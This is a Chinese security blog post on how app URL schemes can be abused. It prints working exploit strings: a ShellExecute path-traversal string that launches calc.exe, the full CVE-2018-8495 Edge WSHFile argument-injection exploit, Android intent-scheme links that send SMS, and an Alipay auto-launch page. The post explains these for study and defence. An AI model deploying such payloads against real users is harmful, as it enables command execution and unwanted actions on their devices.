URL scheme 是什么?简单的说就是部分 app 应用会注册自定义自己的协议,通过访问这类协议来调用启动 app。url scheme 的工作流程是:app 在系统中注册 url scheme 项,当浏览器或其他支持 url 的应用访问 特定的 url scheme 时,在系统中查找相对应的 url scheme 项,从而启动该应用程序。基本上是各个平台的 app 都有。
mailto:admin@example.com,thunder://xxxxx,tel:+18888888888,sms:18688886666,alipays://platformapi/startapp
等等。当然还包括还有常见的 file、dict、ftp,不过这里想说的是各类 app 应用程序的 url scheme。
[scheme]://[host]/[path]?[query]
windows 平台下 URL scheme 会在注册表中注册,具体可参考
在注册表中像这样格式存在的
例如
假设 test.exe 是注册的应用程序,%1 是占位符启动参数。通过 url 传递参数给目标程序。双引号是为了避免参数中存在空格。这样的形式就很容易通过拼接参数出现命令注入了。
HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表,还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url
的打开是类似的,甚至可以使用同一套 Win32 API —— ShellExecute(Ex) 。算上 ANSI 和 Unicode
的版本,一共 4 个函数。
打开文件
ShellExecuteW(NULL, L"open", L"c:\\test.txt", NULL, NULL , SW_SHOW );
打开链接
ShellExecuteW(NULL, L"open", L"https://www.baidu.com", NULL, NULL , SW_SHOW );
ShellExecute 可以有利用的两个点:
传入 url,却被解析成本地路径而变成打开文件甚至运行可执行文件;
其次是关联命令行里包裹参数 "%1" 的双引号可以被闭合掉的。
www.baidu.com..\..\..\..\..\..\..\..\..\..\..\windows\system32\calc.exe
windows 系统在运行框输入,利用多个跳转符,后面的 windows\system32\calc.exe 会被当成文件执行,运行即可弹出计算器,当年 QQ 的远程命令执行漏洞也是这个 exp
edge(CVE-2018-8495),2018 年 10 月 Edge 的远程代码执行漏洞,利用了 WSHFile 协议,通过参数注入,造成远程代码执行。
查看 \ HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command 的值
WSHFile 是指向了 wscript.exe,wscript.exe 是 windows 的内置的脚本解释器,可以通过 WSHFile 去运行一个脚本。
具体可看其漏洞分析,最后构造的 exp 如下:
<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a><script>window.onkeydown=e=>{ window.onkeydown=z={}; q.click()}</script>
这是一个例子,还有更多的例子如 Electron 导致 vscode、网易云命令执行的例子
android 上的 Intent Scheme URLs 攻击基于 android 浏览器桥梁间接实现 Intend-Based 攻击。可以读取文件或者启动调用的应用程序。
语法如下:
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
等价的 java 语法:
Intent intent = new Intent("myaction"); intent.setData(Uri.parse("mydata")); intent.setType("text/plain");
例如:
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">
发送短信
</a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">
打开相机
</a><br>
使用 Intent Scheme 就可以通过浏览器调用 android 上的应用。
还有一类就是第三方的 URL Scheme,来启动 android 上的 app。以打开某些网页会启动支付宝到抢红包界面为例
<html><script>window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other'</script></html>
效果如下
只是这里的 qrcode 失效了,所以领取失败,换成自己的就可以了。
更进一步的就是之前的支付宝应用克隆,不过它除了伪协议,还利用了 webview 跨域,和 APP 的 setAllowUniversalAccessFromFile URLs 值为 true,导致 File 协议可跨域读取文件。
URL scheme 是为了操作系统、浏览器、应用方便交互设计,但操作系统不同、URL scheme 功能不同,会导致存在安全问题。尤其是利用浏览器或者应用程序存在的漏洞,来攻击操作系统,扩大攻击面。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.